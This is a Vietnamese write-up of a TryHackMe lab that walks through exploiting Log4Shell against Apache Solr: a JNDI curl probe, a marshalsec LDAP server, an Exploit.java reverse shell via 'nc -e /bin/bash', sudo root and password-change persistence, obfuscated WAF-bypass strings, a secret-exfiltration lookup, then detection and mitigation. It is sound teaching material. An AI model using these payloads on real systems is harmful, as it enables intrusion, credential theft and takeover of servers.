Advertisement

Responsive Advertisement

Solar, exploiting log4j - Tryhackme Writeup

 




Task 1  CVE-2021-44228 Introduction

Vào ngày 9 tháng 12 năm 2021, thế giới đã biết về một lỗ hổng mới được xác định là CVE-2021-44228, ảnh hưởng đến gói ghi nhật ký Java log4jLỗ hổng này đã giành được điểm số nghiêm trọng là 10,0 (chỉ định quan trọng nhất) và cung cấp mã từ xa thực thi mã từ xa tầm thường trên các máy chủ tương tác với phần mềm sử dụng phiên bản log4j này. Cuộc tấn công này được đặt tên là "Log4Shell".

Hôm nay, log4j phiên bản 2.16.0 có sẵn và vá lỗ hổng này (JNDI bị vô hiệu hóa hoàn toàn, hỗ trợ Tra cứu Thư bị xóa và lỗ hổng DoS mới CVE-2021-45046 không có). https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0

Tuy nhiên, sự nguy hiểm tuyệt đối của lỗ hổng này là do mức độ phổ biến của gói ghi nhật ký. Hàng triệu ứng dụng cũng như nhà cung cấp phần mềm sử dụng gói này như một phần phụ thuộc vào mã của riêng họ. Mặc dù bạn có thể vá cơ sở mã của riêng mình bằng cách sử dụng log4j, các nhà cung cấp và nhà sản xuất khác vẫn sẽ cần phải đẩy các bản cập nhật bảo mật của riêng họ xuống phía dưới. Nhiều nhà nghiên cứu bảo mật đã ví lỗ hổng này với lỗ hổng bảo mật Shellshock  bởi bản chất của bề mặt tấn công khổng lồ của nó. Chúng ta sẽ thấy lỗ hổng này trong nhiều năm tới.

Để có danh sách phần mềm và dịch vụ dễ bị tấn công bởi CVE-2021-44228 được cộng đồng hỗ trợ ngày càng tăng, hãy xem kho lưu trữ GitHub này:

Phòng này sẽ giới thiệu cách bạn có thể kiểm tra, khai thác và giảm thiểu lỗ hổng bảo mật này trong Log4j.

Trong khi có một số bài báo, blog, tài nguyên và tài liệu học tập khác xoay quanh CVE-2021-44228, tôi (tác giả của bài tập này) đặc biệt quan tâm đến những điều này:

Ghi chú của tác giả:

Vui lòng sử dụng thông tin bạn học được trong phòng này để cải thiện cảnh quan an ninh. Kiểm tra các hệ thống mà bạn sở hữu, áp dụng các bản vá lỗi và biện pháp giảm thiểu khi thích hợp, đồng thời giúp toàn ngành phục hồi. Đây là một mối đe dọa hiện tại và trong thế giới thực - cho dù bạn là người kiểm tra thâm nhập, người đội đỏ, người ứng phó sự cố, nhà phân tích bảo mật, thành viên nhóm xanh hay bạn là gì - bài tập này nhằm giúp bạn và thế giới hiểu và đạt được nhận thức về lỗ hổng phổ biến này. Nó không nên được sử dụng cho mục đích lợi dụng hoặc động cơ tài chính phục vụ bản thân (tôi đang nhìn bạn, cầu xin những người săn tiền thưởng)

Ngoài ra, xin lưu ý rằng các nhà phát triển gói log4j làm việc trên dự án mã nguồn mở như một công việc của tình yêu và niềm đam mê. Họ là những nhà phát triển tình nguyện duy trì dự án của họ trong thời gian rảnh rỗi. Hoàn toàn không được đánh đập, xấu hổ hoặc ác ý đối với những cá nhân đó. Đối với tất cả mọi thứ, hãy nâng cao kiến ​​thức của bạn để bạn có thể là bệ đỡ và trụ cột cho cộng đồng an toàn thông tin. Giáo dục, chia sẻ và giúp đỡ.

Answer the questions below
Đọc phần trên và triển khai máy ảo mục tiêu.

Chúng tôi khuyên bạn nên sử dụng AttackBox dựa trên web của TryHackMe cho các bài tập này, tuy nhiên, hướng dẫn khai thác cục bộ này rất chi tiết. Để khởi động AttackBox, hãy nhấp vào nút "Start AttackBox" màu xanh lam ở đầu trang.

Task 2  Reconnaissance


Sau khi triển khai máy ảo của mình, bạn sẽ thấy rằng địa chỉ IP (có thể truy cập trong VPN TryHackMe hoặc thông qua AttackBox được cung cấp) là

 MACHINE_IP.

Để bắt đầu, hãy bắt đầu với trinh sát cơ bản để hiểu những cổng nào đang mở trên máy này. Điều này được thực hiện tốt nhất trong bản phân phối Linux, như Kali Linux, ParrotOS, Black Arch (hoặc bất kỳ hương vị nào khác mà bạn chọn) bằng công cụ dòng lệnh nmap:

Run a basic nmap scan against vulnerable machine
attackbox@tryhackme$ nmap -v MACHINE_IP

Ứng dụng hiện diện trên mục tiêu này đặc biệt sử dụng các cổng mà nmap có thể không nhận thấy ngay lập tức. Để có "toàn bộ thông tin các cổng", hãy quét tất cả các cổng như sau:

Scan all ports on machine via nmap
attackbox@tryhackme$ nmap -v -p- MACHINE_IP


Answer the questions below
Scan the machine to determine what ports are accessible.

What service is running on port 8983? (Just the name of the software)

Answer the questions below
Scan the machine to determine what ports are accessible.

What service is running on port 8983? (Just the name of the software)


Task 3  Discovery

Máy mục tiêu này đang chạy Apache Solr 8.11.0, một ví dụ về phần mềm được biết là bao gồm gói log4j dễ bị tấn công này. Vì lợi ích của việc hiển thị lỗ hổng này, ứng dụng chạy trên Java 1.8.0_181.

Khám phá giao diện web có thể truy cập tại http://MACHINE_IP:8983 và nhấp vào xung quanh để có cảm nhận về ứng dụng. Để biết thêm chi tiết về Apache Solr, vui lòng tham khảo trang web chính thức của họ. https://solr.apache.org/

Phiên bản Apache Solr này được cung cấp mà không có bất kỳ dữ liệu nào. Nó là một cài đặt phẳng, đơn giản và hoàn toàn tối thiểu - nhưng về cốt lõi của nó, nó vẫn dễ bị tấn công bởi CVE-2021-44228 này.





Answer the questions below
Hãy xem kỹ trang đầu tiên hiển thị khi điều hướng đến http: // MACHINE_IP: 8983. Bạn sẽ có thể thấy các chỉ báo rõ ràng rằng log4j đang được sử dụng trong ứng dụng cho hoạt động ghi nhật ký. Đối số  -Dsolr.log.dir được đặt gì, được hiển thị ở trang đầu?




Tải xuống các tệp đính kèm (có thể truy cập ở trên cùng bên phải của tác vụ này) xem một số tệp nhật ký mẫu trong Solr. Khám phá từng tệp, nếu chỉ để cảm nhận những gì được hiển thị trong nhật ký nào. 

Một tệp có một số lượng đáng kể các mục INFO hiển thị các yêu cầu lặp lại đến một điểm cuối URL cụ thể. Tập tin nào có chứa thông tin này? (Chỉ cần tên tệp, không cần đường dẫn)









"Đường dẫn" hoặc điểm cuối URL nào được chỉ ra trong các mục nhập lặp lại này?

Khi xem các mục nhập nhật ký này, tên trường nào chỉ ra một số điểm nhập dữ liệu mà bạn với tư cách là người dùng có thể kiểm soát? (Chỉ tên trường)

Task 4  Proof of Concept

Lưu ý rằng điểm cuối URL mà bạn vừa khám phá cần phải được mở đầu bằng solr/ tiền tố khi xem nó từ giao diện web. Điều này có nghĩa là bạn nên truy cập:

http://MACHINE_IP:8983/solr/admin/cores

Bạn cũng nhận thấy rằng các đường dẫn như được bao gồm trong tệp nhật ký. Tại thời điểm này, bạn có thể đã bắt đầu nhìn thấy vectơ tấn công.

Gói log4j thêm logic bổ sung vào nhật ký bằng cách "phân tích cú pháp" các mục nhập, cuối cùng là để làm phong phú dữ liệu - nhưng cũng có thể thực hiện các hành động và thậm chí đánh giá mã dựa trên dữ liệu nhập. Đây là ý chính của CVE-2021-44228. Trên thực tế, cú pháp khác có thể được thực thi giống như nó được nhập vào tệp nhật ký.

Một số ví dụ về cú pháp này là:

  • ${sys:os.name}
  • ${sys:user.name}
  • ${log4j:configParentLocation}
  • ${ENV:PATH}
  • ${ENV:HOSTNAME}
  • ${java:version}

Bạn có thể đã biết khối lượng chung để lạm dụng lỗ hổng log4j này. Định dạng của cú pháp thông thường tận dụng lợi thế này trông giống như sau:

${jndi:ldap://ATTACKERCONTROLLEDHOST}

Cú pháp này chỉ ra rằng log4j sẽ gọi chức năng từ "JNDI" hoặc "Giao diện thư mục và đặt tên Java." Cuối cùng, điều này có thể được sử dụng để truy cập các tài nguyên bên ngoài, hoặc "tài liệu tham khảo", là thứ được vũ khí hóa trong cuộc tấn công này. 

Chú ý truy vấn ldap:// . Điều này chỉ ra rằng mục tiêu sẽ tiếp cận với một điểm cuối (một vị trí bị kẻ tấn công kiểm soát, trong trường hợp tấn công này) thông qua giao thức LDAP. Vì mục đích ngắn gọn, chúng tôi sẽ không cần phải trình bày tất cả nội dung giới thiệu và chi tiết của LDAP ở đây, nhưng biết rằng đây là thứ chúng tôi sẽ cần làm việc khi chúng tôi tinh chỉnh cuộc tấn công của mình.

Hiện tại, hãy biết rằng mục tiêu trên thực tế sẽ tạo kết nối với một vị trí bên ngoài. Điều này được chỉ ra bởi ATTACKERCONTROLLEDHOST  trình giữ chỗ trong cú pháp trên. Bạn, đóng vai trò là kẻ tấn công trong trường hợp này, có thể lưu trữ một người nghe đơn giản để xem kết nối này.

Câu hỏi tiếp theo là, chúng ta có thể nhập cú pháp này ở đâu?

Bất kỳ nơi nào có dữ liệu được ứng dụng ghi lại.

Đây là mấu chốt của lỗ hổng này. Thật không may, rất khó để xác định đâu là bề mặt tấn công của các ứng dụng khác nhau và trên thực tế, ứng dụng nào dễ bị tấn công. Chỉ cần nhìn thấy sự hiện diện của các tệp log4j không có nghĩa là số phiên bản chính xác hoặc thậm chí vị trí hoặc cách ứng dụng có thể sử dụng gói.

Nghĩ lại nhiệm vụ trước đó. Bạn đã phát hiện ra rằng bạn có thể cung cấp

 params tới đường dẫn /solr/admin/cores , và bây giờ bạn đã hiểu rõ hơn về cách log4j hoạt động, bạn nên hiểu rằng đây là nơi bạn cung cấp cú pháp tiêm của mình. Bạn có thể chỉ cần cung cấp các biến hoặc tham số HTTP GET sau đó sẽ được log4j xử lý và phân tích cú pháp. Tất cả những gì cần là một dòng văn bản - và điều đó làm cho lỗ hổng này cực kỳ dễ bị khai thác.

Các địa điểm khác bạn có thể cung cấp cú pháp JNDI này:

  • Hộp nhập liệu, biểu mẫu đăng nhập người dùng và mật khẩu, điểm nhập dữ liệu trong ứng dụng
  • Tiêu đề HTTP chẳng hạn như User-AgentX-Forwarded-For, hoặc các tiêu đề có thể tùy chỉnh khác
  • Bất kỳ nơi nào cho dữ liệu do người dùng cung cấp

Nếu bạn muốn biết thêm thông tin về vectơ tấn công JNDI này, vui lòng xem lại bài thuyết trình của Black Hat USA từ năm 2016.

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

Answer the questions below

Sử dụng netcat ở cổng lắng nghe kết nôi ví dụ port  9999:



Setup netcat listener
attackbox@tryhackme$ nc -lnvp 9999

Bây giờ bạn đã tổ chức trình lắng nghe, hãy thực hiện một yêu cầu bao gồm cú pháp tải trọng JNDI nguyên thủy này như một phần của các tham số HTTP. Điều này có thể dễ dàng được thực hiện với tiện ích dòng lệnh curl.

Make a curl request with JNDI payload
attackbox@tryhackme$ curl 'http://MACHINE_IP:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999\}'


Lưu ý, do việc sử dụng ký tự $ đô-la-ký trong cú pháp của bạn, bạn phải đảm bảo bạn đặt URL trong dấu ngoặc đơn để bash (trình bao dòng lệnh của bạn) không diễn giải nó như một biến. Ngoài ra, bạn phải loại bỏ dấu ngoặc nhọn {} bằng một ký tự dấu gạch chéo ngược, để chúng không bị mô tả sai trong các đối số lệnh curl.

Xác minh rằng bạn đã nhận được kết nối bằng cách xem thông báo sau trong trình nghe netcat của bạn:

Connection received from MACHINE_IP

Task 5  Exploitation

Tại thời điểm này, bạn đã xác minh rằng mục tiêu trên thực tế là dễ bị tấn công bằng cách thấy kết nối này bị bắt trong trình nghe netcat của bạn. Tuy nhiên, nó thực hiện một yêu cầu LDAP ... vì vậy tất cả những gì người nghe netcat của bạn có thể đã thấy là các ký tự không in được (các byte trông lạ). Giờ đây, chúng tôi có thể xây dựng dựa trên nền tảng này để phản hồi với trình xử lý LDAP thực.

Chúng tôi sẽ sử dụng mã nguồn mở và tiện ích công cộng để tạo thành một "Máy chủ LDAP". Điều này về cơ bản sẽ được sử dụng để chuyển hướng yêu cầu ban đầu của nạn nhân đến một vị trí khác, nơi bạn có thể lưu trữ một tải trọng thứ cấp mà cuối cùng sẽ chạy mã trên mục tiêu. Điều này bị phá vỡ như vậy:

  1. ${jndi:ldap://attackerserver:1389/Resource} -> liên kết với Máy chủ LDAP của bạn
  2. Máy chủ giới thiệu LDAP nâng cấp yêu cầu thành một máy chủ phụ http://attackerserver/resource
  3. Nạn nhân truy xuất và thực thi mã có trong http://attackerserver/resource

Điều này có nghĩa là chúng tôi sẽ cần một máy chủ HTTP, mà chúng tôi có thể chỉ cần lưu trữ với bất kỳ tùy chọn nào sau đây (phục vụ trên cổng 8000):

  • python3 -m http.server
  • php -S 0.0.0.0:8000
  • (Hoặc sử dụng busybox httpd hoặc dịch vụ web chính thức mà bạn có thể thích)

Nếu bạn gặp khó khăn ở bất kỳ bước nào sau đây, chúng tôi có một video giới thiệu (sử dụng AttackBox) từng bước để thực thi mã từ xa: https://youtu.be/OJRqyCHheRE



Answer the questions below
Đọc và hiểu chuỗi tấn công ở trên.

Tuy nhiên, đơn đặt hàng đầu tiên của doanh nghiệp là lấy Máy chủ giới thiệu LDAP. Chúng ta sẽ sử dụng marshalsec  được cung cấp tại https://github.com/mbechler/marshalsec

Cuối cùng, điều này cần phải chạy Java. Đánh giá README cho tiện ích này, nó đề xuất sử dụng Java 8. (Bạn có thể thành công hoặc không khi sử dụng một phiên bản khác, nhưng để "chơi đúng luật", chúng tôi sẽ khớp với cùng một phiên bản Java được sử dụng trên máy ảo mục tiêu)

Nếu bạn đang sử dụng TryHackMe AttackBox, bạn KHÔNG cần phải làm theo các bước dưới đây - hãy chuyển sang câu hỏi tiếp theo.

Xem các bước để cài đặt Java 8 cục bộ (chỉ làm theo nếu không sử dụng AttackBox)

Nếu bạn không chạy 1.8.0_181 trong hộp tấn công, bạn có thể xem lại các bước update-alternatives --set bên dưới để chuyển sang phiên bản Java 8 này.

Nếu bạn đang sử dụng máy tấn công của riêng mình được kết nối với VPN, bạn có thể cần tải xuống và cài đặt Java 1.8.0_181 theo các bước bên dưới:

Bạn có thể tìm thấy bản sao của các phiên bản Java khác nhau để chạy trên Linux tại vị trí này. http://mirrors.rootpei.com/jdk/

Chọn gói jdk-8u181-linux-x64.tar.gz (hoặc cách khác, tải xuống tệp đính kèm cho tác vụ này, được thêm vào để thuận tiện cho bạn).

Tải phần mềm này xuống máy tấn công của bạn và chạy các lệnh sau để định cấu hình hệ thống của bạn sử dụng phiên bản Java này theo mặc định (điều chỉnh đường dẫn hệ thống tệp tải xuống nếu thích hợp):

sudo mkdir /usr/lib/jvm 

cd /usr/lib/jvm

sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz    # modify as needed

sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1

sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws

Sau khi bạn đã tải xuống, giải nén và đặt các cài đặt hệ thống tệp thích hợp (cú pháp của các lựa chọn thay thế cập nhật) ở trên, bạn sẽ có thể chạy java -version và xác minh rằng trên thực tế bạn đang chạy Java 1.8.0_181.

Follow the steps above and verify you are running Java 1.8.0_181.

Tiếp theo, chúng ta sẽ cần truy xuất tiện ích marshalsec đã tham chiếu trước đó. Nếu bạn đang ở trên AttackBox, hãy điều hướng đến /root/Rooms/solar/marshalsec

Navigate to marshalsec folder
attackbox@tryhackme$ cd /root/Rooms/solar/marshalsec

Xem các bước để tải xuống cục bộ marshalsec (chỉ làm theo nếu không sử dụng AttackBox)

Bạn có thể tải ở git

Xem các bước để tải xuống cục bộ marshalsec (chỉ làm theo nếu không sử dụng AttackBox):

sudo apt install git

Sao chép kho lưu trữ ở bất kỳ vị trí hệ thống tệp nào bạn chọn (tôi sẽ đề xuất /tmp hoặc /opt):

git clone https://github.com/mbechler/marshalsec

Tải xuống và thay đổi các thư mục vào thư mục mới này (cd marshalsec)

Chúng ta phải xây dựng marshalsec bằng Java builder maven. Nếu bạn chưa có maven trên hệ thống của mình, bạn có thể cài đặt nó thông qua trình quản lý gói của mình (không cần thiết nếu bạn đang sử dụng AttackBox): sudo apt install maven

Tiếp theo, chạy lệnh để xây dựng marshalsec :

Build marshalsec tool with maven
attackbox@tryhackme:~/root/Rooms/solar/marshalsec$ mvn clean package -DskipTests

Xin lưu ý, AttackBox cho người dùng miễn phí không có internet và sẽ không cài đặt các gói maven. Đăng ký để hoàn thành lab này thông qua AttackBox hoặc cài đặt cục bộ công cụ marshlsec.

Với tiện ích marshalsec được xây dựng, chúng tôi có thể khởi động một máy chủ giới thiệu LDAP để chuyển hướng các kết nối đến máy chủ HTTP phụ của chúng tôi (chúng tôi sẽ chuẩn bị chỉ trong giây lát). Chúng tôi hoan nghênh bạn tìm hiểu kỹ cách sử dụng, các thông số và các cài đặt khác có thể được định cấu hình bằng công cụ này - nhưng để minh họa, cú pháp để khởi động máy chủ LDAP như sau:

Start LDAP Server
attackbox@tryhackme:~/root/../marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit"

Điều chỉnh địa chỉ IP cho máy tấn công của bạn nếu cần. Lưu ý rằng chúng tôi sẽ cung cấp cổng HTTP lắng nghe trên 8000.

Kết quả của việc chạy lệnh này là gì? (Bạn nên để cửa sổ đầu cuối này mở vì nó sẽ tích cực chờ kết nối)

Bây giờ máy chủ LDAP của chúng tôi đã sẵn sàng và đang chờ, chúng tôi có thể mở cửa sổ đầu cuối thứ hai để chuẩn bị và tải trọng cuối cùng và máy chủ HTTP phụ của chúng ta.

Cuối cùng, lỗ hổng log4j sẽ thực thi mã tùy ý mà bạn tạo trong ngôn ngữ lập trình Java. Nếu bạn không quen thuộc với Java, đừng lo lắng - chúng tôi sẽ sử dụng cú pháp đơn giản để chạy một lệnh hệ thống. Trên thực tế, chúng tôi sẽ truy xuất một kết nối ngược-shell để chúng tôi có thể giành quyền kiểm soát máy mục tiêu!

Tạo và chuyển vào một thư mục mới nơi bạn có thể lưu trữ tải trọng này. Đầu tiên, hãy tạo tải trọng của bạn trong một trình soạn thảo văn bản mà bạn chọn (bàn di chuột, nano, vim, Văn bản siêu phàm, Mã VS, bất cứ thứ gì), với tên cụ thể Exploit.java:

Save the Java exploit code & change to use your IP
public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Sửa đổi địa chỉ IP và số cổng của kẻ tấn công nếu thích hợp (chúng tôi đang sử dụng 9999 làm số cổng mẫu như trước đây).

Đối với mã khai thác này, bạn có thể thấy chúng tôi sẽ thực hiện một lệnh trên mục tiêu, cụ thể là nc -e /bin/bash để gọi lại máy tấn công của chúng tôi. Mục tiêu này đã được định cấu hình với ncat để dễ khai thác, mặc dù chúng tôi hoan nghênh bạn thử nghiệm với các tải trọng khác.

Biên dịch mã độc javac Exploit.java -source 8 -target 8 và xác minh nó thành công bằng cách chạy lệnh ls và tìm tệp Exploit.class mới được tạo; loại bỏ "-source 8 -target 8" khỏi lệnh nếu không sử dụng tấn công.

Compile Java exploit code
attackbox@tryhackme$ javac Exploit.java -source 8 -target 8

Chạy phần trên trong cùng một thư mục như nơi bạn đã lưu tệp Exploit.java


Với tải trọng của bạn đã được tạo và biên dịch, giờ đây bạn có thể lưu trữ nó bằng cách tạo một máy chủ HTTP tạm thời.

Host the exploit Java file via HTTP
attackbox@tryhackme$ python3 -m http.server

Tải trọng của bạn được tạo và biên dịch, nó được lưu trữ với máy chủ HTTP trong một thiết bị đầu cuối, máy chủ giới thiệu LDAP của bạn đang hoạt động và đang chờ ở một thiết bị đầu cuối khác - tiếp theo, hãy chuẩn bị một trình nghe netcat để bắt ngược shell của bạn trong một cửa sổ đầu cuối mới khác:

Prepare your netcat listener
attackbox@tryhackme$ nc -lnvp 9999

Cuối cùng, tất cả những gì còn lại cần làm là kích hoạt khai thác và kích hoạt cú pháp JNDI của chúng tôi! Lưu ý những thay đổi về số cổng (bây giờ đề cập đến máy chủ LDAP của chúng tôi) và tài nguyên mà chúng tôi truy xuất, chỉ định cách khai thác của chúng tôi:

Trigger the exploit and fire off our JNDI syntax
attackbox@tryhackme$ curl 'http://MACHINE_IP:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'

Sửa đổi địa chỉ IP của kẻ tấn công nếu thích hợp.

Chạy lệnh trên và bắt một trình kết nối ngược trong trình nghe netcat của bạn!

Bây giờ bạn đã nhận được quyền truy cập ban đầu và lệnh-và-kiểm soát trên một phiên bản Apache Solr mới được cài đặt. Đây chỉ là một ví dụ trong số rất nhiều ứng dụng dễ bị tổn thương bị ảnh hưởng bởi lỗ hổng log4j này.

Tại thời điểm này, một tác nhân đe dọa thực tế có thể làm bất cứ điều gì họ muốn với nạn nhân - cho dù đó là leo thang đặc quyền, xâm nhập, cài đặt kiên trì, thực hiện chuyển động ngang hoặc bất kỳ hoạt động hậu khai thác nào khác - có khả năng đánh rơi công cụ khai thác tiền điện tử, trojan truy cập từ xa, đèn hiệu và cấy ghép hoặc thậm chí triển khai ransomware.

Tất cả những gì cần làm là một chuỗi văn bản và một chút thiết lập với công cụ có sẵn miễn phí. Đây chính là lý do tại sao Internet bùng cháy vào cuối tuần ngày 9 tháng 12 năm 2021.

Hãy nhớ những cách ứng phó sự cố mà bạn biết.

THÔNG TIN KHẮC PHỤC SỰ CỐ

Nếu bạn không thấy kết nối trình bao ngược của mình đi qua, hãy nhớ truy cập lại tệp Exploit.java của bạn.

1. Đảm bảo bạn không mắc lỗi chính tả nào trong cú pháp Java (quên dấu chấm phẩy hoặc dấu ngoặc nhọn đóng).

2. Đảm bảo địa chỉ IP của kẻ tấn công khớp với những gì được hiển thị trong đầu ra ip addr show cho giao diện mạng của bạn.

3. Đảm bảo rằng cổng của bạn khớp với cổng mà người nghe netcat của bạn đang chờ và phục vụ.

Nếu bạn cần thực hiện bất kỳ thay đổi hoặc chỉnh sửa nào đối với tệp Exploit.java của mình, bạn phải nhớ biên dịch lại tệp vớijavac Exploit.java.

Truy cập lại máy chủ HTTP của bạn.

1. Đảm bảo rằng nó đang chạy trên thực tế.

2. Đảm bảo rằng nó đang chạy trong cùng một thư mục với tệp Exploit.java của bạn.

Khi bạn chạy lệnh curl để kích hoạt khai thác, tuần tự bạn sẽ thấy:

1. Một kết nối được thực hiện trên máy chủ LDAP của bạn,

2. Một kết nối được thực hiện trên máy chủ HTTP của bạn,

3. Một kết nối được thực hiện trong trình nghe netcat của bạn.

Sau khi nhận được kết nối, bạn có thể không thấy "lời nhắc". Bạn vẫn có thể nhập các lệnh để kiểm tra xem bạn có shell hay không.


Sau khi nhận được một trình bao đảo ngược, hãy thử nghiệm với các lệnh khác mà bạn có thể chạy với tải trọng Exploit.java của mình. Như một bài tập cho người đọc - bạn có thể tải trình bao Meterpreter không? Làm thế nào về một đặc vụ Empire? Một đèn hiệu Cobalt Strike?


Task 6  Persistence

Answer the questions below

Kiểm tra xem bạn đang chạy tài khoản người dùng nào trong ngữ cảnh kết nối ngược.

View which user you are
whoami
What user are you?

Nếu bạn muốn "ổn định shell của mình" để dễ dàng nhập lệnh hơn, bạn có thể sử dụng thủ thuật nâng cấp thông thường (giả sử bạn đang chạy trong bash shell. Nếu bạn đang chạy trong zsh, bạn sẽ cần phải khởi động trình nghe netcat của mình trong một  bash ... nó sẽ đủ dễ dàng để khai thác lại):


(on the reverse shell) python3 -c "import pty; pty.spawn('/bin/bash')"

(press on your keyboard) Ctrl+Z

(press on your keyboard) Enter

(on your local host) stty raw -echo

(on your local host) fg (you will not see your keystrokes -- trust yourself and hit Enter)

(press on your keyboard) Enter

(press on your keyboard) Enter

(on the reverse shell) export TERM=xterm

Giờ đây, bạn đã có một shell ổn định, nơi bạn có thể sử dụng các phím mũi tên trái và phải một cách an toàn để di chuyển xung quanh đầu vào của mình, các phím mũi tên lên và xuống để truy cập lại lịch sử lệnh, Tab để tự động hoàn thành và Ctrl + C một cách an toàn để dừng chạy chương trình !


Kiểm tra quyền của người dùng cấp cao. Để thuận tiện cho bạn trong bài tập này, người dùng của bạn nên có đặc quyền sudo mà không cần mật khẩu.

Get root access
$ sudo -l

Nếu bạn muốn cấp cho mình sự kiên trì và quyền truy cập vào máy thông qua SSH, hãy trở thành root ngay lập tức và thay đổi mật khẩu cho người dùng solr theo một trong những lựa chọn của bạn. Bằng cách này, bạn có thể SSH khi cần thiết!

Change user password
sudo bash
passwd solr

Trong một cửa sổ đầu cuối khác, hãy SSH vào máy với thông tin đăng nhập mới của bạn.

SSH to machine
attackbox@tryhackme$ ssh solr@MACHINE_IP

Task 7  Detection

Answer the questions below
To explore our own logs, use your SSH connection or reverse shell to move into the directory where the Solr logs are stored. (You already know what this path is -- you gave it as an answer in Task #3)

Review the log file that you know is affected by the log4j vulnerability.

Notice your JNDI attack syntax included in the log entries! If you would like to experiment more, try some of the bypasses mentioned in the Task below.

Task 8  Bypasses

Trọng tải JNDI mình đã giới thiệu là cú pháp tiêu chuẩn và "điển hình" để thực hiện cuộc tấn công này.

Nếu bạn là người kiểm tra thâm nhập hoặc người thuộc nhóm đỏ, thì cú pháp này có thể bị tường lửa ứng dụng web (WAF) bắt hoặc dễ dàng bị phát hiện. Nếu bạn là một đội xanh hoặc người phản ứng sự cố, bạn nên tích cực tìm kiếm và phát hiện cú pháp đó.

Bởi vì cuộc tấn công này sử dụng log4j, tải trọng cuối cùng có thể truy cập vào tất cả các thủ thuật mở rộng, thay thế và tạo khuôn mẫu mà gói cung cấp sẵn. Điều này có nghĩa là tác nhân đe dọa có thể sử dụng bất kỳ loại thủ thuật nào để che giấu, che giấu hoặc làm xáo trộn tải trọng.

Với suy nghĩ đó, thành thật mà nói, có một số lượng không giới hạn các lần bỏ qua để thực hiện cú pháp này. Mặc dù chúng tôi sẽ không đi sâu vào chi tiết trong bài tập này, nhưng bạn được khuyến khích chơi với chúng trong môi trường này. Đọc kỹ chúng để hiểu những thủ thuật nào đang được sử dụng để giả mạo cú pháp gốc.

Có rất nhiều tài nguyên trực tuyến giới thiệu một số ví dụ về các đường vòng này, với một số nguồn được cung cấp bên dưới:

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/}

Lưu ý việc sử dụng giao thức rmi:// trong giao thức cuối cùng. Đây cũng là một kỹ thuật hợp lệ khác có thể được sử dụng với tiện ích marshalsec - hãy thoải mái thử nghiệm!

Ngoài ra, trong công cụ log4j, bạn có thể mở rộng các biến môi trường tùy ý (nếu điều này chưa đủ tệ). Xem xét thiệt hại có thể gây ra ngay cả khi thực thi mã từ xa, nhưng kết nối LDAP đơn giản và lọc${env:AWS_SECRET_ACCESS_KEY}

Đối với các kỹ thuật khác, bạn được khuyến khích thực hiện nghiên cứu của riêng bạn. Có một lượng lớn thông tin đang được chia sẻ trong chuỗi Reddit này: https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/

Nhắc nhở nhẹ nhàng, sử dụng kiến thức này cho tốt. Bạn biết họ nói gì ... quyền lực lớn, trách nhiệm lớn lao và tất cả.

Answer the questions below
Read the above and remind yourself you are a security professional with a strong moral compass.

Task 9  Mitigation

Bây giờ bạn đã đóng vai trò là kẻ thù một chút, vui lòng cởi bỏ chiếc mũ hacker của bạn và hãy giảm thiểu lỗ hổng trên chiếc máy dễ bị tấn công này! Xem lại các kỹ thuật giảm thiểu được đề xuất trên trang web Apache Solr.

https://solr.apache.org/security.html

Một tùy chọn là sửa đổi thủ công tệp solr.in.sh với một cú pháp cụ thể. Hãy đi xuống tuyến đường đó để thể hiện chiến thuật phòng thủ này.

Nếu bạn muốn trực tiếp SSH vào máy, thông tin đăng nhập là: vagrant làm tên người dùng và vagrant làm mật khẩu.

Answer the questions below

Xác định vị trí tệp solr.in.sh tồn tại trên hệ thống tệp của máy mục tiêu này. Bạn có thể thực hiện việc này nhanh chóng bằng lệnh sau:


Finding the solr.in.sh file
user@machine$ locate solr.in.sh

Bạn có thể thấy hai kết quả - chúng tôi muốn kết quả tương ứng với cấu hình toàn hệ thống (xem gợi ý nếu bạn không hiểu điều này đề cập đến điều gì)

What is the full path of the specific solr.in.sh file?

Trang Bảo mật của trang web Apache Solr giải thích rằng bạn có thể thêm cú pháp cụ thể này vào tệp solr.in.sh:

SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"

Sửa đổi tệp solr.in.sh bằng trình soạn thảo văn bản mà bạn chọn. Bạn sẽ cần tiền tố sudo để mượn đặc quyền root nếu bạn chưa root.

Scroll to the bottom of the file, and add a new line with the above syntax. Save and close the file.


Bây giờ tệp cấu hình đã được sửa đổi, dịch vụ vẫn cần được khởi động lại để thay đổi có hiệu lực.

